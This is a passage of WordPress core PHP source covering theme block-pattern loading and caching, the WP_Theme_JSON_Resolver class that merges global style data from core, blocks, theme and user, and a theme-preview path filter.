		$stylesheet_directory = $this->get_stylesheet_directory();
		// If the theme uses deprecated block template folders.
		if ( file_exists( $stylesheet_directory . '/block-templates' ) || file_exists( $stylesheet_directory . '/block-template-parts' ) ) {
			$this->block_template_folders = array(
				'wp_template'      => 'block-templates',
				'wp_template_part' => 'block-template-parts',
			);
		}
		return $this->block_template_folders;
	}

	/**
	 * Gets block pattern data for a specified theme.
	 * Each pattern is defined as a PHP file and defines
	 * its metadata using plugin-style headers. The minimum required definition is:
	 *
	 *     /**
	 *      * Title: My Pattern
	 *      * Slug: my-theme/my-pattern
	 *      *
	 *
	 * The output of the PHP source corresponds to the content of the pattern, e.g.:
	 *
	 *     <main><p><?php echo "Hello"; ?></p></main>
	 *
	 * If applicable, this will collect from both parent and child theme.
	 *
	 * Other settable fields include:
	 *
	 *     - Description
	 *     - Viewport Width
	 *     - Inserter         (yes/no)
	 *     - Categories       (comma-separated values)
	 *     - Keywords         (comma-separated values)
	 *     - Block Types      (comma-separated values)
	 *     - Post Types       (comma-separated values)
	 *     - Template Types   (comma-separated values)
	 *
	 * @since 6.4.0
	 *
	 * @return array Block pattern data.
	 */
	public function get_block_patterns() {
		$can_use_cached = ! wp_is_development_mode( 'theme' );

		$pattern_data = $this->get_pattern_cache();
		if ( is_array( $pattern_data ) ) {
			if ( $can_use_cached ) {
				return $pattern_data;
			}
			// If in development mode, clear pattern cache.
			$this->delete_pattern_cache();
		}

		$dirpath      = $this->get_stylesheet_directory() . '/patterns/';
		$pattern_data = array();

		if ( ! file_exists( $dirpath ) ) {
			if ( $can_use_cached ) {
				$this->set_pattern_cache( $pattern_data );
			}
			return $pattern_data;
		}
		$files = glob( $dirpath . '*.php' );
		if ( ! $files ) {
			if ( $can_use_cached ) {
				$this->set_pattern_cache( $pattern_data );
			}
			return $pattern_data;
		}

		$default_headers = array(
			'title'         => 'Title',
			'slug'          => 'Slug',
			'description'   => 'Description',
			'viewportWidth' => 'Viewport Width',
			'inserter'      => 'Inserter',
			'categories'    => 'Categories',
			'keywords'      => 'Keywords',
			'blockTypes'    => 'Block Types',
			'postTypes'     => 'Post Types',
			'templateTypes' => 'Template Types',
		);

		$properties_to_parse = array(
			'categories',
			'keywords',
			'blockTypes',
			'postTypes',
			'templateTypes',
		);

		foreach ( $files as $file ) {
			$pattern = get_file_data( $file, $default_headers );

			if ( empty( $pattern['slug'] ) ) {
				_doing_it_wrong(
					__FUNCTION__,
					sprintf(
						/* translators: 1: file name. */
						__( 'Could not register file "%s" as a block pattern ("Slug" field missing)' ),
						$file
					),
					'6.0.0'
				);
				continue;
			}

			if ( ! preg_match( '/^[A-z0-9\/_-]+$/', $pattern['slug'] ) ) {
				_doing_it_wrong(
					__FUNCTION__,
					sprintf(
						/* translators: 1: file name; 2: slug value found. */
						__( 'Could not register file "%1$s" as a block pattern (invalid slug "%2$s")' ),
						$file,
						$pattern['slug']
					),
					'6.0.0'
				);
			}

			// Title is a required property.
			if ( ! $pattern['title'] ) {
				_doing_it_wrong(
					__FUNCTION__,
					sprintf(
						/* translators: 1: file name. */
						__( 'Could not register file "%s" as a block pattern ("Title" field missing)' ),
						$file
					),
					'6.0.0'
				);
				continue;
			}

			// For properties of type array, parse data as comma-separated.
			foreach ( $properties_to_parse as $property ) {
				if ( ! empty( $pattern[ $property ] ) ) {
					$pattern[ $property ] = array_filter( wp_parse_list( (string) $pattern[ $property ] ) );
				} else {
					unset( $pattern[ $property ] );
				}
			}

			// Parse properties of type int.
			$property = 'viewportWidth';
			if ( ! empty( $pattern[ $property ] ) ) {
				$pattern[ $property ] = (int) $pattern[ $property ];
			} else {
				unset( $pattern[ $property ] );
			}

			// Parse properties of type bool.
			$property = 'inserter';
			if ( ! empty( $pattern[ $property ] ) ) {
				$pattern[ $property ] = in_array(
					strtolower( $pattern[ $property ] ),
					array( 'yes', 'true' ),
					true
				);
			} else {
				unset( $pattern[ $property ] );
			}

			$key = str_replace( $dirpath, '', $file );

			$pattern_data[ $key ] = $pattern;
		}

		if ( $can_use_cached ) {
			$this->set_pattern_cache( $pattern_data );
		}

		return $pattern_data;
	}

	/**
	 * Gets block pattern cache.
	 *
	 * @since 6.4.0
	 *
	 * @return array|false Returns an array of patterns if cache is found, otherwise false.
	 */
	private function get_pattern_cache() {
		if ( ! $this->exists() ) {
			return false;
		}
		$pattern_data = wp_cache_get( 'wp_theme_patterns_' . $this->stylesheet, 'theme_files' );
		if ( is_array( $pattern_data ) && $pattern_data['version'] === $this->get( 'Version' ) ) {
			return $pattern_data['patterns'];
		}
		return false;
	}

	/**
	 * Sets block pattern cache.
	 *
	 * @since 6.4.0
	 *
	 * @param array $patterns Block patterns data to set in cache.
	 */
	private function set_pattern_cache( array $patterns ) {
		$pattern_data = array(
			'version'  => $this->get( 'Version' ),
			'patterns' => $patterns,
		);
		wp_cache_set( 'wp_theme_patterns_' . $this->stylesheet, $pattern_data, 'theme_files' );
	}

	/**
	 * Clears block pattern cache.
	 *
	 * @since 6.4.0
	 */
	public function delete_pattern_cache() {
		wp_cache_delete( 'wp_theme_patterns_' . $this->stylesheet, 'theme_files' );
	}

	/**
	 * Enables a theme for all sites on the current network.
	 *
	 * @since 4.6.0
	 *
	 * @param string|string[] $stylesheets Stylesheet name or array of stylesheet names.
	 */
	public static function network_enable_theme( $stylesheets ) {
		if ( ! is_multisite() ) {
			return;
		}

		if ( ! is_array( $stylesheets ) ) {
			$stylesheets = array( $stylesheets );
		}

		$allowed_themes = get_site_option( 'allowedthemes' );
		foreach ( $stylesheets as $stylesheet ) {
			$allowed_themes[ $stylesheet ] = true;
		}

		update_site_option( 'allowedthemes', $allowed_themes );
	}

	/**
	 * Disables a theme for all sites on the current network.
	 *
	 * @since 4.6.0
	 *
	 * @param string|string[] $stylesheets Stylesheet name or array of stylesheet names.
	 */
	public static function network_disable_theme( $stylesheets ) {
		if ( ! is_multisite() ) {
			return;
		}

		if ( ! is_array( $stylesheets ) ) {
			$stylesheets = array( $stylesheets );
		}

		$allowed_themes = get_site_option( 'allowedthemes' );
		foreach ( $stylesheets as $stylesheet ) {
			if ( isset( $allowed_themes[ $stylesheet ] ) ) {
				unset( $allowed_themes[ $stylesheet ] );
			}
		}

		update_site_option( 'allowedthemes', $allowed_themes );
	}

	/**
	 * Sorts themes by name.
	 *
	 * @since 3.4.0
	 *
	 * @param WP_Theme[] $themes Array of theme objects to sort (passed by reference).
	 */
	public static function sort_by_name( &$themes ) {
		if ( str_starts_with( get_user_locale(), 'en_' ) ) {
			uasort( $themes, array( 'WP_Theme', '_name_sort' ) );
		} else {
			foreach ( $themes as $key => $theme ) {
				$theme->translate_header( 'Name', $theme->headers['Name'] );
			}
			uasort( $themes, array( 'WP_Theme', '_name_sort_i18n' ) );
		}
	}

	/**
	 * Callback function for usort() to naturally sort themes by name.
	 *
	 * Accesses the Name header directly from the class for maximum speed.
	 * Would choke on HTML but we don't care enough to slow it down with strip_tags().
	 *
	 * @since 3.4.0
	 *
	 * @param WP_Theme $a First theme.
	 * @param WP_Theme $b Second theme.
	 * @return int Negative if `$a` falls lower in the natural order than `$b`. Zero if they fall equally.
	 *             Greater than 0 if `$a` falls higher in the natural order than `$b`. Used with usort().
	 */
	private static function _name_sort( $a, $b ) {
		return strnatcasecmp( $a->headers['Name'], $b->headers['Name'] );
	}

	/**
	 * Callback function for usort() to naturally sort themes by translated name.
	 *
	 * @since 3.4.0
	 *
	 * @param WP_Theme $a First theme.
	 * @param WP_Theme $b Second theme.
	 * @return int Negative if `$a` falls lower in the natural order than `$b`. Zero if they fall equally.
	 *             Greater than 0 if `$a` falls higher in the natural order than `$b`. Used with usort().
	 */
	private static function _name_sort_i18n( $a, $b ) {
		return strnatcasecmp( $a->name_translated, $b->name_translated );
	}

	private static function _check_headers_property_has_correct_type( $headers ) {
		if ( ! is_array( $headers ) ) {
			return false;
		}
		foreach ( $headers as $key => $value ) {
			if ( ! is_string( $key ) || ! is_string( $value ) ) {
				return false;
			}
		}
		return true;
	}
}
<?php
/**
 * WP_Theme_JSON_Resolver class
 *
 * @package WordPress
 * @subpackage Theme
 * @since 5.8.0
 */

/**
 * Class that abstracts the processing of the different data sources
 * for site-level config and offers an API to work with them.
 *
 * This class is for internal core usage and is not supposed to be used by extenders (plugins and/or themes).
 * This is a low-level API that may need to do breaking changes. Please,
 * use get_global_settings(), get_global_styles(), and get_global_stylesheet() instead.
 *
 * @access private
 */
#[AllowDynamicProperties]
class WP_Theme_JSON_Resolver {

	/**
	 * Container for keep track of registered blocks.
	 *
	 * @since 6.1.0
	 * @var array
	 */
	protected static $blocks_cache = array(
		'core'   => array(),
		'blocks' => array(),
		'theme'  => array(),
		'user'   => array(),
	);

	/**
	 * Container for data coming from core.
	 *
	 * @since 5.8.0
	 * @var WP_Theme_JSON
	 */
	protected static $core = null;

	/**
	 * Container for data coming from the blocks.
	 *
	 * @since 6.1.0
	 * @var WP_Theme_JSON
	 */
	protected static $blocks = null;

	/**
	 * Container for data coming from the theme.
	 *
	 * @since 5.8.0
	 * @var WP_Theme_JSON
	 */
	protected static $theme = null;

	/**
	 * Container for data coming from the user.
	 *
	 * @since 5.9.0
	 * @var WP_Theme_JSON
	 */
	protected static $user = null;

	/**
	 * Stores the ID of the custom post type
	 * that holds the user data.
	 *
	 * @since 5.9.0
	 * @var int
	 */
	protected static $user_custom_post_type_id = null;

	/**
	 * Container to keep loaded i18n schema for `theme.json`.
	 *
	 * @since 5.8.0 As `$theme_json_i18n`.
	 * @since 5.9.0 Renamed from `$theme_json_i18n` to `$i18n_schema`.
	 * @var array
	 */
	protected static $i18n_schema = null;

	/**
	 * `theme.json` file cache.
	 *
	 * @since 6.1.0
	 * @var array
	 */
	protected static $theme_json_file_cache = array();

	/**
	 * Processes a file that adheres to the theme.json schema
	 * and returns an array with its contents, or a void array if none found.
	 *
	 * @since 5.8.0
	 * @since 6.1.0 Added caching.
	 *
	 * @param string $file_path Path to file. Empty if no file.
	 * @return array Contents that adhere to the theme.json schema.
	 */
	protected static function read_json_file( $file_path ) {
		if ( $file_path ) {
			if ( array_key_exists( $file_path, static::$theme_json_file_cache ) ) {
				return static::$theme_json_file_cache[ $file_path ];
			}

			$decoded_file = wp_json_file_decode( $file_path, array( 'associative' => true ) );
			if ( is_array( $decoded_file ) ) {
				static::$theme_json_file_cache[ $file_path ] = $decoded_file;
				return static::$theme_json_file_cache[ $file_path ];
			}
		}

		return array();
	}

	/**
	 * Returns a data structure used in theme.json translation.
	 *
	 * @since 5.8.0
	 * @deprecated 5.9.0
	 *
	 * @return array An array of theme.json fields that are translatable and the keys that are translatable.
	 */
	public static function get_fields_to_translate() {
		_deprecated_function( __METHOD__, '5.9.0' );
		return array();
	}

	/**
	 * Given a theme.json structure modifies it in place to update certain values
	 * by its translated strings according to the language set by the user.
	 *
	 * @since 5.8.0
	 *
	 * @param array  $theme_json The theme.json to translate.
	 * @param string $domain     Optional. Text domain. Unique identifier for retrieving translated strings.
	 *                           Default 'default'.
	 * @return array Returns the modified $theme_json_structure.
	 */
	protected static function translate( $theme_json, $domain = 'default' ) {
		if ( null === static::$i18n_schema ) {
			$i18n_schema         = wp_json_file_decode( __DIR__ . '/theme-i18n.json' );
			static::$i18n_schema = null === $i18n_schema ? array() : $i18n_schema;
		}

		return translate_settings_using_i18n_schema( static::$i18n_schema, $theme_json, $domain );
	}

	/**
	 * Returns core's origin config.
	 *
	 * @since 5.8.0
	 *
	 * @return WP_Theme_JSON Entity that holds core data.
	 */
	public static function get_core_data() {
		if ( null !== static::$core && static::has_same_registered_blocks( 'core' ) ) {
			return static::$core;
		}

		$config = static::read_json_file( __DIR__ . '/theme.json' );
		$config = static::translate( $config );

		/**
		 * Filters the default data provided by WordPress for global styles & settings.
		 *
		 * @since 6.1.0
		 *
		 * @param WP_Theme_JSON_Data $theme_json Class to access and update the underlying data.
		 */
		$theme_json   = apply_filters( 'wp_theme_json_data_default', new WP_Theme_JSON_Data( $config, 'default' ) );
		$config       = $theme_json->get_data();
		static::$core = new WP_Theme_JSON( $config, 'default' );

		return static::$core;
	}

	/**
	 * Checks whether the registered blocks were already processed for this origin.
	 *
	 * @since 6.1.0
	 *
	 * @param string $origin Data source for which to cache the blocks.
	 *                       Valid values are 'core', 'blocks', 'theme', and 'user'.
	 * @return bool True on success, false otherwise.
	 */
	protected static function has_same_registered_blocks( $origin ) {
		// Bail out if the origin is invalid.
		if ( ! isset( static::$blocks_cache[ $origin ] ) ) {
			return false;
		}

		$registry = WP_Block_Type_Registry::get_instance();
		$blocks   = $registry->get_all_registered();

		// Is there metadata for all currently registered blocks?
		$block_diff = array_diff_key( $blocks, static::$blocks_cache[ $origin ] );
		if ( empty( $block_diff ) ) {
			return true;
		}

		foreach ( $blocks as $block_name => $block_type ) {
			static::$blocks_cache[ $origin ][ $block_name ] = true;
		}

		return false;
	}

	/**
	 * Returns the theme's data.
	 *
	 * Data from theme.json will be backfilled from existing
	 * theme supports, if any. Note that if the same data
	 * is present in theme.json and in theme supports,
	 * the theme.json takes precedence.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Theme supports have been inlined and the `$theme_support_data` argument removed.
	 * @since 6.0.0 Added an `$options` parameter to allow the theme data to be returned without theme supports.
	 *
	 * @param array $deprecated Deprecated. Not used.
	 * @param array $options {
	 *     Options arguments.
	 *
	 *     @type bool $with_supports Whether to include theme supports in the data. Default true.
	 * }
	 * @return WP_Theme_JSON Entity that holds theme data.
	 */
	public static function get_theme_data( $deprecated = array(), $options = array() ) {
		if ( ! empty( $deprecated ) ) {
			_deprecated_argument( __METHOD__, '5.9.0' );
		}

		$options = wp_parse_args( $options, array( 'with_supports' => true ) );

		if ( null === static::$theme || ! static::has_same_registered_blocks( 'theme' ) ) {
			$wp_theme        = wp_get_theme();
			$theme_json_file = $wp_theme->get_file_path( 'theme.json' );
			if ( is_readable( $theme_json_file ) ) {
				$theme_json_data = static::read_json_file( $theme_json_file );
				$theme_json_data = static::translate( $theme_json_data, $wp_theme->get( 'TextDomain' ) );
			} else {
				$theme_json_data = array();
			}

			/**
			 * Filters the data provided by the theme for global styles and settings.
			 *
			 * @since 6.1.0
			 *
			 * @param WP_Theme_JSON_Data $theme_json Class to access and update the underlying data.
			 */
			$theme_json      = apply_filters( 'wp_theme_json_data_theme', new WP_Theme_JSON_Data( $theme_json_data, 'theme' ) );
			$theme_json_data = $theme_json->get_data();
			static::$theme   = new WP_Theme_JSON( $theme_json_data );

			if ( $wp_theme->parent() ) {
				// Get parent theme.json.
				$parent_theme_json_file = $wp_theme->parent()->get_file_path( 'theme.json' );
				if ( $theme_json_file !== $parent_theme_json_file && is_readable( $parent_theme_json_file ) ) {
					$parent_theme_json_data = static::read_json_file( $parent_theme_json_file );
					$parent_theme_json_data = static::translate( $parent_theme_json_data, $wp_theme->parent()->get( 'TextDomain' ) );
					$parent_theme           = new WP_Theme_JSON( $parent_theme_json_data );

					/*
					 * Merge the child theme.json into the parent theme.json.
					 * The child theme takes precedence over the parent.
					 */
					$parent_theme->merge( static::$theme );
					static::$theme = $parent_theme;
				}
			}
		}

		if ( ! $options['with_supports'] ) {
			return static::$theme;
		}

		/*
		 * We want the presets and settings declared in theme.json
		 * to override the ones declared via theme supports.
		 * So we take theme supports, transform it to theme.json shape
		 * and merge the static::$theme upon that.
		 */
		$theme_support_data = WP_Theme_JSON::get_from_editor_settings( get_classic_theme_supports_block_editor_settings() );
		if ( ! wp_theme_has_theme_json() ) {
			if ( ! isset( $theme_support_data['settings']['color'] ) ) {
				$theme_support_data['settings']['color'] = array();
			}

			$default_palette = false;
			if ( current_theme_supports( 'default-color-palette' ) ) {
				$default_palette = true;
			}
			if ( ! isset( $theme_support_data['settings']['color']['palette'] ) ) {
				// If the theme does not have any palette, we still want to show the core one.
				$default_palette = true;
			}
			$theme_support_data['settings']['color']['defaultPalette'] = $default_palette;

			$default_gradients = false;
			if ( current_theme_supports( 'default-gradient-presets' ) ) {
				$default_gradients = true;
			}
			if ( ! isset( $theme_support_data['settings']['color']['gradients'] ) ) {
				// If the theme does not have any gradients, we still want to show the core ones.
				$default_gradients = true;
			}
			$theme_support_data['settings']['color']['defaultGradients'] = $default_gradients;

			if ( ! isset( $theme_support_data['settings']['shadow'] ) ) {
				$theme_support_data['settings']['shadow'] = array();
			}
			/*
			 * Shadow presets are explicitly disabled for classic themes until a
			 * decision is made for whether the default presets should match the
			 * other presets or if they should be disabled by default in classic
			 * themes. See https://github.com/WordPress/gutenberg/issues/59989.
			 */
			$theme_support_data['settings']['shadow']['defaultPresets'] = false;

			// Allow themes to enable link color setting via theme_support.
			if ( current_theme_supports( 'link-color' ) ) {
				$theme_support_data['settings']['color']['link'] = true;
			}

			// Allow themes to enable all border settings via theme_support.
			if ( current_theme_supports( 'border' ) ) {
				$theme_support_data['settings']['border']['color']  = true;
				$theme_support_data['settings']['border']['radius'] = true;
				$theme_support_data['settings']['border']['style']  = true;
				$theme_support_data['settings']['border']['width']  = true;
			}

			// Allow themes to enable appearance tools via theme_support.
			if ( current_theme_supports( 'appearance-tools' ) ) {
				$theme_support_data['settings']['appearanceTools'] = true;
			}
		}
		$with_theme_supports = new WP_Theme_JSON( $theme_support_data );
		$with_theme_supports->merge( static::$theme );
		return $with_theme_supports;
	}

	/**
	 * Gets the styles for blocks from the block.json file.
	 *
	 * @since 6.1.0
	 *
	 * @return WP_Theme_JSON
	 */
	public static function get_block_data() {
		$registry = WP_Block_Type_Registry::get_instance();
		$blocks   = $registry->get_all_registered();

		if ( null !== static::$blocks && static::has_same_registered_blocks( 'blocks' ) ) {
			return static::$blocks;
		}

		$config = array( 'version' => 2 );
		foreach ( $blocks as $block_name => $block_type ) {
			if ( isset( $block_type->supports['__experimentalStyle'] ) ) {
				$config['styles']['blocks'][ $block_name ] = static::remove_json_comments( $block_type->supports['__experimentalStyle'] );
			}

			if (
				isset( $block_type->supports['spacing']['blockGap']['__experimentalDefault'] ) &&
				! isset( $config['styles']['blocks'][ $block_name ]['spacing']['blockGap'] )
			) {
				/*
				 * Ensure an empty placeholder value exists for the block, if it provides a default blockGap value.
				 * The real blockGap value to be used will be determined when the styles are rendered for output.
				 */
				$config['styles']['blocks'][ $block_name ]['spacing']['blockGap'] = null;
			}
		}

		/**
		 * Filters the data provided by the blocks for global styles & settings.
		 *
		 * @since 6.1.0
		 *
		 * @param WP_Theme_JSON_Data $theme_json Class to access and update the underlying data.
		 */
		$theme_json = apply_filters( 'wp_theme_json_data_blocks', new WP_Theme_JSON_Data( $config, 'blocks' ) );
		$config     = $theme_json->get_data();

		static::$blocks = new WP_Theme_JSON( $config, 'blocks' );
		return static::$blocks;
	}

	/**
	 * When given an array, this will remove any keys with the name `//`.
	 *
	 * @since 6.1.0
	 *
	 * @param array $input_array The array to filter.
	 * @return array The filtered array.
	 */
	private static function remove_json_comments( $input_array ) {
		unset( $input_array['//'] );
		foreach ( $input_array as $k => $v ) {
			if ( is_array( $v ) ) {
				$input_array[ $k ] = static::remove_json_comments( $v );
			}
		}

		return $input_array;
	}

	/**
	 * Returns the custom post type that contains the user's origin config
	 * for the active theme or an empty array if none are found.
	 *
	 * This can also create and return a new draft custom post type.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Theme $theme              The theme object. If empty, it
	 *                                     defaults to the active theme.
	 * @param bool     $create_post        Optional. Whether a new custom post
	 *                                     type should be created if none are
	 *                                     found. Default false.
	 * @param array    $post_status_filter Optional. Filter custom post type by
	 *                                     post status. Default `array( 'publish' )`,
	 *                                     so it only fetches published posts.
	 * @return array Custom Post Type for the user's origin config.
	 */
	public static function get_user_data_from_wp_global_styles( $theme, $create_post = false, $post_status_filter = array( 'publish' ) ) {
		if ( ! $theme instanceof WP_Theme ) {
			$theme = wp_get_theme();
		}

		/*
		 * Bail early if the theme does not support a theme.json.
		 *
		 * Since wp_theme_has_theme_json() only supports the active
		 * theme, the extra condition for whether $theme is the active theme is
		 * present here.
		 */
		if ( $theme->get_stylesheet() === get_stylesheet() && ! wp_theme_has_theme_json() ) {
			return array();
		}

		$user_cpt         = array();
		$post_type_filter = 'wp_global_styles';
		$stylesheet       = $theme->get_stylesheet();
		$args             = array(
			'posts_per_page'         => 1,
			'orderby'                => 'date',
			'order'                  => 'desc',
			'post_type'              => $post_type_filter,
			'post_status'            => $post_status_filter,
			'ignore_sticky_posts'    => true,
			'no_found_rows'          => true,
			'update_post_meta_cache' => false,
			'update_post_term_cache' => false,
			'tax_query'              => array(
				array(
					'taxonomy' => 'wp_theme',
					'field'    => 'name',
					'terms'    => $stylesheet,
				),
			),
		);

		$global_style_query = new WP_Query();
		$recent_posts       = $global_style_query->query( $args );
		if ( count( $recent_posts ) === 1 ) {
			$user_cpt = get_object_vars( $recent_posts[0] );
		} elseif ( $create_post ) {
			$cpt_post_id = wp_insert_post(
				array(
					'post_content' => '{"version": ' . WP_Theme_JSON::LATEST_SCHEMA . ', "isGlobalStylesUserThemeJSON": true }',
					'post_status'  => 'publish',
					'post_title'   => 'Custom Styles', // Do not make string translatable, see https://core.trac.wordpress.org/ticket/54518.
					'post_type'    => $post_type_filter,
					'post_name'    => sprintf( 'wp-global-styles-%s', urlencode( $stylesheet ) ),
					'tax_input'    => array(
						'wp_theme' => array( $stylesheet ),
					),
				),
				true
			);
			if ( ! is_wp_error( $cpt_post_id ) ) {
				$user_cpt = get_object_vars( get_post( $cpt_post_id ) );
			}
		}

		return $user_cpt;
	}

	/**
	 * Returns the user's origin config.
	 *
	 * @since 5.9.0
	 *
	 * @return WP_Theme_JSON Entity that holds styles for user data.
	 */
	public static function get_user_data() {
		if ( null !== static::$user && static::has_same_registered_blocks( 'user' ) ) {
			return static::$user;
		}

		$config   = array();
		$user_cpt = static::get_user_data_from_wp_global_styles( wp_get_theme() );

		if ( array_key_exists( 'post_content', $user_cpt ) ) {
			$decoded_data = json_decode( $user_cpt['post_content'], true );

			$json_decoding_error = json_last_error();
			if ( JSON_ERROR_NONE !== $json_decoding_error ) {
				trigger_error( 'Error when decoding a theme.json schema for user data. ' . json_last_error_msg() );
				/**
				 * Filters the data provided by the user for global styles & settings.
				 *
				 * @since 6.1.0
				 *
				 * @param WP_Theme_JSON_Data $theme_json Class to access and update the underlying data.
				 */
				$theme_json = apply_filters( 'wp_theme_json_data_user', new WP_Theme_JSON_Data( $config, 'custom' ) );
				$config     = $theme_json->get_data();
				return new WP_Theme_JSON( $config, 'custom' );
			}

			/*
			 * Very important to verify that the flag isGlobalStylesUserThemeJSON is true.
			 * If it's not true then the content was not escaped and is not safe.
			 */
			if (
				is_array( $decoded_data ) &&
				isset( $decoded_data['isGlobalStylesUserThemeJSON'] ) &&
				$decoded_data['isGlobalStylesUserThemeJSON']
			) {
				unset( $decoded_data['isGlobalStylesUserThemeJSON'] );
				$config = $decoded_data;
			}
		}

		/** This filter is documented in wp-includes/class-wp-theme-json-resolver.php */
		$theme_json   = apply_filters( 'wp_theme_json_data_user', new WP_Theme_JSON_Data( $config, 'custom' ) );
		$config       = $theme_json->get_data();
		static::$user = new WP_Theme_JSON( $config, 'custom' );

		return static::$user;
	}

	/**
	 * Returns the data merged from multiple origins.
	 *
	 * There are four sources of data (origins) for a site:
	 *
	 * - default => WordPress
	 * - blocks  => each one of the blocks provides data for itself
	 * - theme   => the active theme
	 * - custom  => data provided by the user
	 *
	 * The custom's has higher priority than the theme's, the theme's higher than blocks',
	 * and block's higher than default's.
	 *
	 * Unlike the getters
	 * {@link https://developer.wordpress.org/reference/classes/wp_theme_json_resolver/get_core_data/ get_core_data},
	 * {@link https://developer.wordpress.org/reference/classes/wp_theme_json_resolver/get_theme_data/ get_theme_data},
	 * and {@link https://developer.wordpress.org/reference/classes/wp_theme_json_resolver/get_user_data/ get_user_data},
	 * this method returns data after it has been merged with the previous origins.
	 * This means that if the same piece of data is declared in different origins
	 * (default, blocks, theme, custom), the last origin overrides the previous.
	 *
	 * For example, if the user has set a background color
	 * for the paragraph block, and the theme has done it as well,
	 * the user preference wins.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added user data, removed the `$settings` parameter,
	 *              added the `$origin` parameter.
	 * @since 6.1.0 Added block data and generation of spacingSizes array.
	 * @since 6.2.0 Changed ' $origin' parameter values to 'default', 'blocks', 'theme' or 'custom'.
	 *
	 * @param string $origin Optional. To what level should we merge data: 'default', 'blocks', 'theme' or 'custom'.
	 *                       'custom' is used as default value as well as fallback value if the origin is unknown.
	 * @return WP_Theme_JSON
	 */
	public static function get_merged_data( $origin = 'custom' ) {
		if ( is_array( $origin ) ) {
			_deprecated_argument( __FUNCTION__, '5.9.0' );
		}

		$result = new WP_Theme_JSON();
		$result->merge( static::get_core_data() );
		if ( 'default' === $origin ) {
			$result->set_spacing_sizes();
			return $result;
		}

		$result->merge( static::get_block_data() );
		if ( 'blocks' === $origin ) {
			return $result;
		}

		$result->merge( static::get_theme_data() );
		if ( 'theme' === $origin ) {
			$result->set_spacing_sizes();
			return $result;
		}

		$result->merge( static::get_user_data() );
		$result->set_spacing_sizes();

		return $result;
	}

	/**
	 * Returns the ID of the custom post type
	 * that stores user data.
	 *
	 * @since 5.9.0
	 *
	 * @return integer|null
	 */
	public static function get_user_global_styles_post_id() {
		if ( null !== static::$user_custom_post_type_id ) {
			return static::$user_custom_post_type_id;
		}

		$user_cpt = static::get_user_data_from_wp_global_styles( wp_get_theme(), true );

		if ( array_key_exists( 'ID', $user_cpt ) ) {
			static::$user_custom_post_type_id = $user_cpt['ID'];
		}

		return static::$user_custom_post_type_id;
	}

	/**
	 * Determines whether the active theme has a theme.json file.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added a check in the parent theme.
	 * @deprecated 6.2.0 Use wp_theme_has_theme_json() instead.
	 *
	 * @return bool
	 */
	public static function theme_has_support() {
		_deprecated_function( __METHOD__, '6.2.0', 'wp_theme_has_theme_json()' );

		return wp_theme_has_theme_json();
	}

	/**
	 * Builds the path to the given file and checks that it is readable.
	 *
	 * If it isn't, returns an empty string, otherwise returns the whole file path.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Adapted to work with child themes, added the `$template` argument.
	 *
	 * @param string $file_name Name of the file.
	 * @param bool   $template  Optional. Use template theme directory. Default false.
	 * @return string The whole file path or empty if the file doesn't exist.
	 */
	protected static function get_file_path_from_theme( $file_name, $template = false ) {
		$path      = $template ? get_template_directory() : get_stylesheet_directory();
		$candidate = $path . '/' . $file_name;

		return is_readable( $candidate ) ? $candidate : '';
	}

	/**
	 * Cleans the cached data so it can be recalculated.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added the `$user`, `$user_custom_post_type_id`,
	 *              and `$i18n_schema` variables to reset.
	 * @since 6.1.0 Added the `$blocks` and `$blocks_cache` variables
	 *              to reset.
	 */
	public static function clean_cached_data() {
		static::$core                     = null;
		static::$blocks                   = null;
		static::$blocks_cache             = array(
			'core'   => array(),
			'blocks' => array(),
			'theme'  => array(),
			'user'   => array(),
		);
		static::$theme                    = null;
		static::$user                     = null;
		static::$user_custom_post_type_id = null;
		static::$i18n_schema              = null;
	}

	/**
	 * Returns an array of all nested JSON files within a given directory.
	 *
	 * @since 6.2.0
	 *
	 * @param string $dir The directory to recursively iterate and list files of.
	 * @return array The merged array.
	 */
	private static function recursively_iterate_json( $dir ) {
		$nested_files      = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $dir ) );
		$nested_json_files = iterator_to_array( new RegexIterator( $nested_files, '/^.+\.json$/i', RecursiveRegexIterator::GET_MATCH ) );
		return $nested_json_files;
	}


	/**
	 * Returns the style variations defined by the theme.
	 *
	 * @since 6.0.0
	 * @since 6.2.0 Returns parent theme variations if theme is a child.
	 *
	 * @return array
	 */
	public static function get_style_variations() {
		$variation_files    = array();
		$variations         = array();
		$base_directory     = get_stylesheet_directory() . '/styles';
		$template_directory = get_template_directory() . '/styles';
		if ( is_dir( $base_directory ) ) {
			$variation_files = static::recursively_iterate_json( $base_directory );
		}
		if ( is_dir( $template_directory ) && $template_directory !== $base_directory ) {
			$variation_files_parent = static::recursively_iterate_json( $template_directory );
			// If the child and parent variation file basename are the same, only include the child theme's.
			foreach ( $variation_files_parent as $parent_path => $parent ) {
				foreach ( $variation_files as $child_path => $child ) {
					if ( basename( $parent_path ) === basename( $child_path ) ) {
						unset( $variation_files_parent[ $parent_path ] );
					}
				}
			}
			$variation_files = array_merge( $variation_files, $variation_files_parent );
		}
		ksort( $variation_files );
		foreach ( $variation_files as $path => $file ) {
			$decoded_file = wp_json_file_decode( $path, array( 'associative' => true ) );
			if ( is_array( $decoded_file ) ) {
				$translated = static::translate( $decoded_file, wp_get_theme()->get( 'TextDomain' ) );
				$variation  = ( new WP_Theme_JSON( $translated ) )->get_raw_data();
				if ( empty( $variation['title'] ) ) {
					$variation['title'] = basename( $path, '.json' );
				}
				$variations[] = $variation;
			}
		}
		return $variations;
	}
}
<?php
/**
 * Theme previews using the Site Editor for block themes.
 *
 * @package WordPress
 */

/**
 * Filters the blog option to return the path for the previewed theme.
 *
 * @since 6.3.0
 *
 * @param string $current_stylesheet The current theme's stylesheet or template path.
 * @return string The previewed theme's stylesheet or template path.
 */
function wp_get_theme_preview_path( $current_stylesheet = null ) {
	if ( ! current_user_can( 'switch_themes' ) ) {
		return $current_stylesheet;
	}

	$preview_stylesheet = ! empty( $_GET['wp_theme_preview'] ) ? sanitize_text_field( wp_unslash( $_GET['wp_theme_preview'] ) ) : null;
	$wp_theme           = wp_get_theme( $preview_stylesheet );
	if ( ! is_wp_error( $wp_theme->errors() ) ) {
		if ( current_filter() === 'template' ) {
			$theme_path = $wp_theme->get_template();
		} else {
			$theme_path = $wp_theme->get_stylesheet();
		}

		return sanitize_text_field( $theme_path );
	}

	return $current_stylesheet;
}

